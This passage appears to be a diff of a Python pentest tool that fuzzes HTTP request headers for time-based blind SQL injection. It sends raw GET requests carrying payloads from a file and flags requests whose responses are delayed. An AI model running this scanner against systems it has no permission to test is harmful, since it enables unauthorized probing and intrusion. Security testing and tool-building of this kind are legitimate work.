print(field) + + # If fuzzing didn't get anything +ve + else: + banner = "==============[ TRY HARDER! ]=====================" + print(self.red + banner + self.clear) + + msg = "[-] Nothing Found. Adjust Sleeptime & Try more SQLi Payloads." + print(self.cyan + msg + self.clear) + + + def discover(self, target, counter): + + vulnHeader = target['vulnHeader'] + sqlInjection = target['sqlInjection'] + + # Ping-time to WEB Server + baseIndex = self.baseline() + + # Connect to WEB Server + try: + s = socket(AF_INET, SOCK_STREAM, 0) + s.connect((self.server, self.port)) + + injection = sqlInjection.replace("*index*", str(self.index)) + + + # Send our Payload + data = "" + data += "GET / HTTP/1.1\r\n" + data += "Host: " + data += self.server + "\r\n" + data += vulnHeader + data += ": " + data += self.headerValue + injection + "\r\n" + data += "Connection: close\r\n\r\n" + + # Mark time before execution + t1 = time.time() + + try: + s.send(data) + s.recv(0) + except Exception as err: + print(err) + sys.exit() + + # Mark time after execution + t2 = time.time() + + # Record TIme + record = t2 - t1 + + # Compare if time diffrence is greater than sleepTime + record = float("{0:.2f}".format(record)) + Index = float("{0:.2f}".format(self.index)) + + benching = baseIndex + Index + + timer = self.green + "[%s]" % time.asctime() + self.clear + "\n" + counterid = self.cyan + "[Testcase : %d]" % counter + self.clear + "\n" + injection = self.cyan + vulnHeader + " : " + injection + self.clear + "\n" + benching_value = self.green + "Benching Record : " + self.clear + self.yellow + str(benching) + self.clear + "\n" + fuzzrec = self.green + "Fuzzing Record : " + self.clear + self.yellow + str(record) + self.clear + "\n" + spacer = "-----------------------------------\n" + + sys.stdout.write(timer + counterid + injection + benching_value + fuzzrec + spacer ) + sys.stdout.flush() + + if record > benching: + inj = "[+] Injection : " + injection + head = "[+] Header : " + vulnHeader + "\n" + IndRec = "[*] Index Record : " + str(baseIndex) + baseInd = "[*] Benching Record : " + str(benching) + fuzzRec = "[*] Fuzzing Record : " + str(record) + inference = "[!] Test %d is Injectable." % counter + lineSpace = "__________________________________\n" + + print(self.red + inference + self.clear) + print(lineSpace) + + fuzzout = [inj, head, IndRec, baseInd, + fuzzRec, inference, lineSpace] + + self.discover_vuln.append(fuzzout) + fuzzRec = 0 + + else: + pass + + except Exception as err: + print(err) + sys.exit() + + + def fuzz(self): + + counter = 1 + + target_mg = "[+] Fuzzer Running : " + target_val = self.server + ":" + str(self.port) + + print(self.cyan + target_mg + + self.clear + self.yellow + target_val + self.clear + "\n") + + baseIndex = self.baseline() + + baseIndex_vl = str(float("{0:.2f}".format(baseIndex))) + baseIndex_mg = "[+] Base Index Record for Target : " + + print(self.cyan + baseIndex_mg + + self.clear + self.yellow + baseIndex_vl + self.clear + "\n") + + banner = "============== Furzzzn ===============" + + print(self.red + banner + self.clear + "\n") + + threads = [] + + # Read headers File + with open(self.headersFile) as Header_Requests: + for Header in Header_Requests: + + # Read Injection File + with open(self.injectionFile) as injectionFile: + for Injection in injectionFile: + + # Create Our Fuzzing Target + target = { + 'vulnHeader': Header.strip(), + 'sqlInjection': Injection.strip() + } + + # Run Fuzzer with target + # found = gevent.spawn() + # gevent.spawn(self.discover(target, counter)) + + threads.append(gevent.spawn( + self.discover(target, counter))) + + # Increment Test Counter + counter = counter + 1 + + gevent.joinall(threads) + + self.findings(self.discover_vuln)